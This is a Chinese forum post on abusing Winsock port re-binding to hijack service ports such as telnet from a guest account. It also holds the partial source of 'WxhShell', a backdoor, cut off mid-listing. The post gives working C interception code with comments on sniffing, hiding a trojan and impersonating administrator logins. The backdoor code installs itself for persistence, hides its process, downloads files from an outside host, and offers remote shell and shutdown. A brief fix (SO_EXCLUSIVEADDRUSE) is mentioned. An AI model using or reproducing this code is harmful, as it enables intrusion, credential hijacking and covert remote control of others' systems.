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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :,:r  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #:2 36^xYS  
sH#UM(N  
  saddr.sin_family = AF_INET; +Pn+&o;D  
UB=I>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); EAx@a%  
rbs:qLa%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); A<AZs~f  
Cg-khRgLS  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 friNo^v&  
!7Ta Vx}`(  
  这意味着什么?意味着可以进行如下的攻击: ~u-mEdu3C  
R`A @F2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 YB~}!F [(  
rHh<_5-/>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) llI`"a  
4Yx?75/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @R>J\>  
MSsboSxA  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ] S]F&B M|  
7pmhH%Dn$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %?R}sUo  
>8HcCG  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 - x@mS2  
IU/dY`J1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 vJ }^ p }  
;aWH`^{i  
  #include BPe5c :z  
  #include h_Q9 c  
  #include 0I& !a$:  
  #include    jj.iW@m  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !{"{(h)+@  
  int main() mq su8ti  
  { h0d;a  
  WORD wVersionRequested; t-i;  
  DWORD ret; KR%DpQ&{'  
  WSADATA wsaData; X.bNU  
  BOOL val; fD]}&xc  
  SOCKADDR_IN saddr; )<t5' +d%  
  SOCKADDR_IN scaddr; GR Rv0M  
  int err; 9SXFiZA(r  
  SOCKET s; DNC2]kS<  
  SOCKET sc; 3<CCC+47  
  int caddsize; s9@/(_  
  HANDLE mt; t|%wVj?_  
  DWORD tid;   !A,]  
  wVersionRequested = MAKEWORD( 2, 2 ); +A3@{ 2  
  err = WSAStartup( wVersionRequested, &wsaData ); |Fm(  
  if ( err != 0 ) { uI!rJc>TX  
  printf("error!WSAStartup failed!\n"); O}"VK  
  return -1; pQ!NhzQ  
  } (%YFcE)SRS  
  saddr.sin_family = AF_INET; M)#aX|%Mh  
   >@rsh-Z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 c54oQ1Q&"  
j0~]o})@i  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); O4S~JE3o  
  saddr.sin_port = htons(23); ehV`@ss  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V31<~&O~%  
  { y08.R. l  
  printf("error!socket failed!\n"); |Xlpgdiu  
  return -1; :4;ZO~eq!  
  } 8lg $]  
  val = TRUE; bO8g#rO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @GK0j"_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {'NdN+_C  
  { B#N(PvtE  
  printf("error!setsockopt failed!\n"); bb`GV  
  return -1; I>B-[QEC  
  } 4U*J{''L  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2I* 7?`  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Q &<:W4N*  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 540-lMe  
J 6D?$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D4$;jz,,  
  { wKIQK!B)mF  
  ret=GetLastError(); '%vb&a!.6  
  printf("error!bind failed!\n"); ryg1o=1v/  
  return -1; bx_`S#*N  
  } NiQ`,Q$B  
  listen(s,2); ?| s1Cuc  
  while(1) Zui2O-L?V  
  { I6,'o)l{_  
  caddsize = sizeof(scaddr); l\I#^N  
  //接受连接请求 `lX |yy"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Mk Er|w'  
  if(sc!=INVALID_SOCKET) %QCh#v=ks  
  { @`^+XPK\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0&} "!)  
  if(mt==NULL) s`B]+  
  { CkKr@.dV  
  printf("Thread Creat Failed!\n"); 4C\>JGZvq  
  break; }(4U7Ac  
  } ]h3<r8D_#  
  } $!)Sgb  
  CloseHandle(mt); x DD3Y{ K  
  } t;!v jac  
  closesocket(s); o{f|==<t3#  
  WSACleanup(); ACxOC2\n  
  return 0; -!f)P=S  
  }   "l&=a1l  
  DWORD WINAPI ClientThread(LPVOID lpParam) ) jv]Oz  
  { TPH`{  
  SOCKET ss = (SOCKET)lpParam; =Yg36J4[  
  SOCKET sc; ?5_~Kn%2  
  unsigned char buf[4096]; `$vTGkGpY  
  SOCKADDR_IN saddr; XkLl(uyh  
  long num; YBqu7&  
  DWORD val; KHV5V3q4  
  DWORD ret; KCu@5`p  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =NMT H[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   #9M6 q  
  saddr.sin_family = AF_INET; ^x-vOG lR  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); uu@Y]0-  
  saddr.sin_port = htons(23); B8 ;jRY  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PY- 1 oP  
  { = _X#JP79  
  printf("error!socket failed!\n"); Q\|72NWS  
  return -1; 2#:/C:  
  } (C>FM8$J  
  val = 100; 4=!SG4~o  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yr?*{;  
  { a+sHW<QeS  
  ret = GetLastError();  AV{3f`  
  return -1; " uf*?m3  
  } D!< [\ G  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [!H2i p-  
  { o!!";q%DX  
  ret = GetLastError(); *5?a% p  
  return -1; RZ 4xR  
  } {G$I|<MD2T  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) zO8`xrN!  
  { mO<sw  
  printf("error!socket connect failed!\n"); wTb7 xBI  
  closesocket(sc); booth}M  
  closesocket(ss); 41Bp^R}^/  
  return -1; s3@sX_2  
  } t>.1,'zb  
  while(1) [!1z; /  
  { 29]-s Utqv  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 q/w<>u  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 k]?M^jrm  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )NAC9:8!  
  num = recv(ss,buf,4096,0); Mwp[?#1j  
  if(num>0) y"q7Gx*^j  
  send(sc,buf,num,0); \9k$pC+l  
  else if(num==0) l`=).k   
  break; 65X31vU  
  num = recv(sc,buf,4096,0); v|uY\Z  
  if(num>0) tVVnQX  
  send(ss,buf,num,0); |:yQOq|  
  else if(num==0) pn3f{fQ  
  break; Hbwjs?Vq?]  
  } q,6 y{RyS  
  closesocket(ss); 5(e?,B }  
  closesocket(sc); G%0G$3W"  
  return 0 ; X{KWBk.1  
  } ? g9mDe;k  
E)z[@Np  
JA0$Fz  
========================================================== m| 8%%E}d  
$Gt1T[:QUX  
下边附上一个代码,,WXhSHELL N5 ITb0Tv  
}%LwaRT  
========================================================== `~|8eKFq!  
pgT XyAP{  
#include "stdafx.h" U7O]g'BP  
6&V4W"k  
#include <stdio.h> \;AW/& Ea  
#include <string.h> ~um+r],@@  
#include <windows.h> +bK[3KG4F5  
#include <winsock2.h> f5D.wSY  
#include <winsvc.h> [)UF@Sq4+Q  
#include <urlmon.h> xHEkmL`)4  
Ch-56   
#pragma comment (lib, "Ws2_32.lib") 9Br2}!Ny  
#pragma comment (lib, "urlmon.lib") Cw;&{jY  
8qwc]f$.w  
#define MAX_USER   100 // 最大客户端连接数 &X0/7)*"v  
#define BUF_SOCK   200 // sock buffer a,X=!oJ  
#define KEY_BUFF   255 // 输入 buffer lOp/kGmn+  
Z-[nHSf  
#define REBOOT     0   // 重启 R:=C  
#define SHUTDOWN   1   // 关机  FkJa+ZA  
<<F#Al  
#define DEF_PORT   5000 // 监听端口 H{|a+  
;-84cpfu  
#define REG_LEN     16   // 注册表键长度 BOqq=WY  
#define SVC_LEN     80   // NT服务名长度 d bU  
h.0Y!'?  
// 从dll定义API 5MY+O\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V+M2Gf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bm1+|gssn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cGSoAK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +wd} '4)  
MU5@(s3B?  
// wxhshell配置信息 H -('!^  
struct WSCFG { $s2Ty1  
  int ws_port;         // 监听端口 etF?,^)h=g  
  char ws_passstr[REG_LEN]; // 口令 \ZrLh,6f.  
  int ws_autoins;       // 安装标记, 1=yes 0=no K@xp!  
  char ws_regname[REG_LEN]; // 注册表键名 m(JFlO  
  char ws_svcname[REG_LEN]; // 服务名 xo{f"8}^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /_~b~3{u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'Rk~bAX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !ZP1?l30  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  |u 8hxa  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X;_0"g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -,j J{Y~  
.XM3oIaW  
}; Mi'Q5m  
lh`inAt)"  
// default Wxhshell configuration X'N 4a  
struct WSCFG wscfg={DEF_PORT, <LM<,  
    "xuhuanlingzhe",  iqf+rBL  
    1, -k\7k2  
    "Wxhshell", )f#@`lf[<  
    "Wxhshell", aM'0O![d  
            "WxhShell Service", ,-u | l  
    "Wrsky Windows CmdShell Service", =!NYvwg6;o  
    "Please Input Your Password: ", [o&Vr\.$  
  1, A?Jm59{w  
  "http://www.wrsky.com/wxhshell.exe", b7fP)nb695  
  "Wxhshell.exe" 'N,3]Soi  
    }; 2L.UEAt  
|E @Gsw  
// 消息定义模块 JA7HO |  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6 .DJR Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .UbmU^y|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vj0`[X   
char *msg_ws_ext="\n\rExit."; j}8IT  
char *msg_ws_end="\n\rQuit."; #f]R:Ix>  
char *msg_ws_boot="\n\rReboot..."; gUDd2T#  
char *msg_ws_poff="\n\rShutdown..."; GV)#>PL  
char *msg_ws_down="\n\rSave to "; e 1{t qNJ  
QQ@, v@j5  
char *msg_ws_err="\n\rErr!"; G}i\UXFE  
char *msg_ws_ok="\n\rOK!"; A`u04Lm7  
v}dt**l  
char ExeFile[MAX_PATH]; o*/\ oVOq  
int nUser = 0; oMda)5 &  
HANDLE handles[MAX_USER]; {B|U8j[  
int OsIsNt; g=; rM8W  
j-$aa;  
SERVICE_STATUS       serviceStatus; l1`Zp9I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6,  ag\  
"%ag^v9  
// 函数声明 L.(T"`-i  
int Install(void); Y">tfLIL_  
int Uninstall(void); |w[}\#2  
int DownloadFile(char *sURL, SOCKET wsh); i2b\` 805  
int Boot(int flag); ;nj'C1  
void HideProc(void); E=gD{1,?  
int GetOsVer(void); [$?S9)Xd  
int Wxhshell(SOCKET wsl); Sw#Ez-X  
void TalkWithClient(void *cs); x@.iDP@(  
int CmdShell(SOCKET sock); s9'g'O5  
int StartFromService(void); DMcvu*A  
int StartWxhshell(LPSTR lpCmdLine); ;3\F b3d  
Szi4M&!K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (d993~|h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); tZ>>aiI3  
R#tz"T@  
// 数据结构和表定义 WlP@Tm5g/  
SERVICE_TABLE_ENTRY DispatchTable[] = 6 6x} |7  
{ LYh5f#  
{wscfg.ws_svcname, NTServiceMain}, 4M(w<f\5F  
{NULL, NULL} F~a5yW:R=)  
}; &.kg8|s{  
t,N- |  
// 自我安装 MS^,h>KI  
int Install(void) PGT!HdX#{  
{ Tv3ZNh  
  char svExeFile[MAX_PATH]; P?n!fA>!  
  HKEY key; 3D\.S j%  
  strcpy(svExeFile,ExeFile); ^'QcP5Fv  
A#1aO  
// 如果是win9x系统,修改注册表设为自启动 lGG1d  
if(!OsIsNt) { w,8 M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ] >ipC,v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KtEM H  
  RegCloseKey(key); /G[y 24 Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \Qk:\aLR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B>X+eK  
  RegCloseKey(key); 1sc #!^Oo  
  return 0; HT?`PG  
    } ?RWd"JTGue  
  } uNXh"?  
} `k\]I |6  
else { LDV{#5J  
\07Vh6cj  
// 如果是NT以上系统,安装为系统服务 1b3Lan_2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +Q-~~v7,  
if (schSCManager!=0) eV9:AN}K=  
{ K 1:F{*  
  SC_HANDLE schService = CreateService 2SG|]=  
  ( 6El%T]^  
  schSCManager, =q xcM+OX1  
  wscfg.ws_svcname, O-T/H-J`  
  wscfg.ws_svcdisp, u.hnQsM  
  SERVICE_ALL_ACCESS, R~RY:[5?w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *kyy''r  
  SERVICE_AUTO_START, (-dJ0!  
  SERVICE_ERROR_NORMAL, qwFn(pK[  
  svExeFile, vo7 1T<K  
  NULL, fil6w</L  
  NULL, 73}k[e7e  
  NULL, <S$y=>.9  
  NULL, w5n>hz_5  
  NULL 8QC:ro  
  ); w5|@vB/pj  
  if (schService!=0) '2[ _U&e  
  { -m'a%aog  
  CloseServiceHandle(schService); ?U-p jjM  
  CloseServiceHandle(schSCManager); w4L\@y 3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^;@Bz~Z  
  strcat(svExeFile,wscfg.ws_svcname); n+uq|sYVa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )1x333.[c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0l 3RwWj  
  RegCloseKey(key); /-|xxy  
  return 0; $ @1&G~x  
    } >MQW{^  
  } -IX;r1UD  
  CloseServiceHandle(schSCManager); 5,Q('t#J  
} 8#Z$}?W  
} !uO|T'u0a  
e:7aVOm  
return 1; 9oq(5BG,  
} cQ+, F2  
'!1lK  
// 自我卸载 p$9N}}/c  
int Uninstall(void) R*yB);p  
{ K4R jGSaF  
  HKEY key; ;( 2uQ#Y  
V;:A&  
if(!OsIsNt) { b/5~VY*T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { > %Y#(_~a  
  RegDeleteValue(key,wscfg.ws_regname); nQ~q -=,L  
  RegCloseKey(key); ;F0A\5I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .FMF0r>l  
  RegDeleteValue(key,wscfg.ws_regname); D1g1"^~g  
  RegCloseKey(key); uo%O\} #u9  
  return 0; \pPq ]k  
  } t]&n_]`{.  
} ^9{ 2  
} "t\9@nzdX  
else { IS=)J( 0  
*M`[YG19!e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q?0goL  
if (schSCManager!=0) 5cE[s<=  
{ Xif`gb6`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "R30oA#m  
  if (schService!=0) #F{|G:\@[  
  { u8,T>VNVw  
  if(DeleteService(schService)!=0) { f Fz8m  
  CloseServiceHandle(schService); jcG4h/A  
  CloseServiceHandle(schSCManager); XqwdJND  
  return 0; ;zJ_apZ:{  
  } ix/uV)]k`  
  CloseServiceHandle(schService); jS- QTG!=  
  } eBN>|mE4N  
  CloseServiceHandle(schSCManager); bFJn-g n  
} x NC>m&T  
} ;;`KkNys m  
Q@j:b]Y9  
return 1; q{5Vq_s\  
}  OB^  
&a(w0<  
// 从指定url下载文件 x p$0J<2  
int DownloadFile(char *sURL, SOCKET wsh) ^IId =V=2  
{ . LS.Z 4@  
  HRESULT hr; D0]9 -h  
char seps[]= "/"; E nUo B<  
char *token; p_nrua?  
char *file; l3MH+o  
char myURL[MAX_PATH]; wGxLs>| 4  
char myFILE[MAX_PATH]; Ip0Zf?  
_Ey8P0-I  
strcpy(myURL,sURL); WUV Q_<i+  
  token=strtok(myURL,seps); M<L<mP}  
  while(token!=NULL) i@;a%$5  
  { D"WkD j"M  
    file=token; v|'N|k l  
  token=strtok(NULL,seps); {38aaf|'/  
  } .5z|g@ 6  
ZuhT \l  
GetCurrentDirectory(MAX_PATH,myFILE); !3&}r  
strcat(myFILE, "\\"); h}d7M55#|  
strcat(myFILE, file); G?g7G,|d  
  send(wsh,myFILE,strlen(myFILE),0); YS~x-5OE\  
send(wsh,"...",3,0); }v!6BU6<Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0qZ)$ YKq  
  if(hr==S_OK) g[n8N{s  
return 0; Lr~K3nb  
else ;K_B,@:'  
return 1; ditzl(L   
x?F{=\z/o  
} p?h;Sv/  
INT2i8oU  
// 系统电源模块 I"!{HnSG`  
int Boot(int flag) :({<"H)!'  
{ 4CCux4)N  
  HANDLE hToken; 0k>&MkM\^  
  TOKEN_PRIVILEGES tkp; 6]3 ZUH;  
-,tYfQ;:  
  if(OsIsNt) { @88 efF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SM<kE<q#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C G7 LF  
    tkp.PrivilegeCount = 1; ",+uvJT1O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2=|IOkY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GwV FD%  
if(flag==REBOOT) { @W,Y_8:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IY:O?M  
  return 0; ;0 *^98K  
} P&YaJUq.u  
else { Y^G3<.B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IO'Q}bU4vs  
  return 0; ^`7t@G$ D  
} t<7WM'2<y  
  } 7 AiCQWf9  
  else { [ b W=>M  
if(flag==REBOOT) { 3{z|301<m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w~&]gyf  
  return 0; K6U>Qums  
} {Vm36/a  
else { i<?4iwX%i*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MD)"r>k  
  return 0; D^{:UbN  
} Z^l!y5s/H  
} ChGM7uu2  
1`t?5|s>  
return 1; NZuFxJ-`  
} THp `!l  
v\eBL&WK  
// win9x进程隐藏模块 8iNAs#s  
void HideProc(void) Zy%Z]dF  
{ E0Djo'64  
$yAfs3/%)s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QFPx4F7(e  
  if ( hKernel != NULL ) c v 9 6F  
  { >N J$ac  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Wd AGZUp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SS~Q;9o  
    FreeLibrary(hKernel); $%JyM  
  } w!RH*S  
.7FI%  
return; S+G)&<a^  
} [//f BO  
v~Qy{dn P  
// 获取操作系统版本 Yn>zR I  
int GetOsVer(void) 8tMte!E  
{ =@ZtUjcJx  
  OSVERSIONINFO winfo; 0 l@P]_qq`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l,FoK76G  
  GetVersionEx(&winfo); s>\g03=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6~ `bAe`}  
  return 1; +d f?N  
  else e63|Z[8  
  return 0; o3qv945  
} %b;+/s2W  
j!\0Fyr  
// 客户端句柄模块 u2]g1XjeG  
int Wxhshell(SOCKET wsl) #:|?t&On  
{ 63S1ed [  
  SOCKET wsh; RHVv}N0  
  struct sockaddr_in client; '.yWL  
  DWORD myID; &|'6-wD.  
a7\L-T+  
  while(nUser<MAX_USER) @3c#\jx  
{ kVnyX@  
  int nSize=sizeof(client); b]BA,D 4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); AFTed?(  
  if(wsh==INVALID_SOCKET) return 1; Pfx71*u,  
_kN%6~+U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )c/y07er  
if(handles[nUser]==0) )`mF.87b&h  
  closesocket(wsh); o$VH,2 QF  
else >;v0zE  
  nUser++; ;|QR-m2/  
  } acY[?L_6J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;/ KF3 %  
2TEeP7  
  return 0; K)&XQ`&  
} 8$UZL  
vw] D{OBv*  
// 关闭 socket tQ JH'YV  
void CloseIt(SOCKET wsh) X#,[2&17Fh  
{ 7 afA'.=  
closesocket(wsh); -Y?(Zz_w  
nUser--; KHz838C]  
ExitThread(0); dY@Tt&k8E  
} XhAcC  
}]+}Tipd  
// 客户端请求句柄 >5Oy^u6Ly  
void TalkWithClient(void *cs) $Wzv$4;  
{ r/sRXM:3cZ  
Ko|xEz=  
  SOCKET wsh=(SOCKET)cs; OW}j4-~wL  
  char pwd[SVC_LEN]; zl 0^EltiU  
  char cmd[KEY_BUFF]; ;n{j,HB  
char chr[1]; w9<FX>@  
int i,j; 8/?uU]#Q  
l=~9 9mE  
  while (nUser < MAX_USER) { F>kn:I"X)  
`OReSg 2  
if(wscfg.ws_passstr) { %GCd?cFF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D.R|HqZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8sF0]J[g{  
  //ZeroMemory(pwd,KEY_BUFF); ;To+,`?E;q  
      i=0; .N5R?fmD  
  while(i<SVC_LEN) { rbun5&RCyW  
gc7:Rb^E5t  
  // 设置超时 Rn(F#tI  
  fd_set FdRead; SA 4je9H%  
  struct timeval TimeOut; 2mU-LQ1WN  
  FD_ZERO(&FdRead); zGd*Q5l  
  FD_SET(wsh,&FdRead); , gr&s+  
  TimeOut.tv_sec=8; |ezO@  
  TimeOut.tv_usec=0; mRnzP[7-\)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ae#HA[\0G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F"f}vl  
IA 9v1:>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QqK{~I|l  
  pwd=chr[0]; G%8)6m'3  
  if(chr[0]==0xd || chr[0]==0xa) { `pAp[]SfQd  
  pwd=0; )7"DR+;:  
  break; M(WOxZ8  
  } `(Q_ 65y  
  i++; bc=u1=~w  
    } VueQP|   
@1-GPmj-  
  // 如果是非法用户,关闭 socket m *bKy;'8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xKLcd+hCZ  
} i =fOdp  
xVz -_z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u:H 3.5)%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }V#9tWW  
h:Mn$VR,  
while(1) { [xs)u3b  
fRa-bqQ  
  ZeroMemory(cmd,KEY_BUFF); "ko?att~  
M3;v3 }z<-  
      // 自动支持客户端 telnet标准   ? ]:EmP  
  j=0; g yH7((#i  
  while(j<KEY_BUFF) { ;/^]|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); - Zoo)  
  cmd[j]=chr[0]; y7IbE   
  if(chr[0]==0xa || chr[0]==0xd) { (zro7gKked  
  cmd[j]=0; Y=Ar3O*F  
  break; nh&J3b}B!  
  } -k[tFBl w  
  j++; [F V=@NI  
    } ':2*+  
U>B5LU9&  
  // 下载文件 k5%0wHpk=  
  if(strstr(cmd,"http://")) { xBE RCO^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UFIAgNKl  
  if(DownloadFile(cmd,wsh)) D7_Hu'y<o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jn@Mbl  
  else cM<hG:4%wX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0@e}hv;  
  } W "\tkh2  
  else { vz #wP  
}!yD^:[ 5  
    switch(cmd[0]) { yc%E$g  
  )3`  
  // 帮助 <.7I8B7  
  case '?': { #nf%ojh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QOh w  
    break; LY88;*:S  
  } e<O;pM:  
  // 安装 Fb{`a[&  
  case 'i': { >upXt?  
    if(Install()) kSDa\l!W]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hKzBq*cV  
    else *CPB5s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xlPcg7  
    break; oA3W {  
    } k"^t?\Q%vI  
  // 卸载 .M53, 8X  
  case 'r': { &b@!DAwAJ  
    if(Uninstall()) o S:vTr+$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hA1gkEM2o  
    else {7![3`%7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {?>bblw/d  
    break; peTO-x^a-  
    } n"<GJ.{  
  // 显示 wxhshell 所在路径 jQ_|z@OV  
  case 'p': { 5nxS+`Pn.)  
    char svExeFile[MAX_PATH]; Xx y Bg!R  
    strcpy(svExeFile,"\n\r"); bUAR<R'E  
      strcat(svExeFile,ExeFile); ?;r8SowZ7  
        send(wsh,svExeFile,strlen(svExeFile),0); X.T\=dm%v  
    break; =6Kv`  
    } %M;_(jda  
  // 重启 rMXOwkE  
  case 'b': { /!{A=N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x,w`OMQ}c  
    if(Boot(REBOOT)) =FD`A#\C~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ReB(T7Vk=  
    else { gM;)  
    closesocket(wsh); Q&.IlVB[  
    ExitThread(0); iQm.]A  
    } RLu$$Eb  
    break; Z*)y.i`  
    } _sf#J|kQ  
  // 关机 ~g K-5}%!  
  case 'd': { Ot2zhR )  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mOz&6T<|  
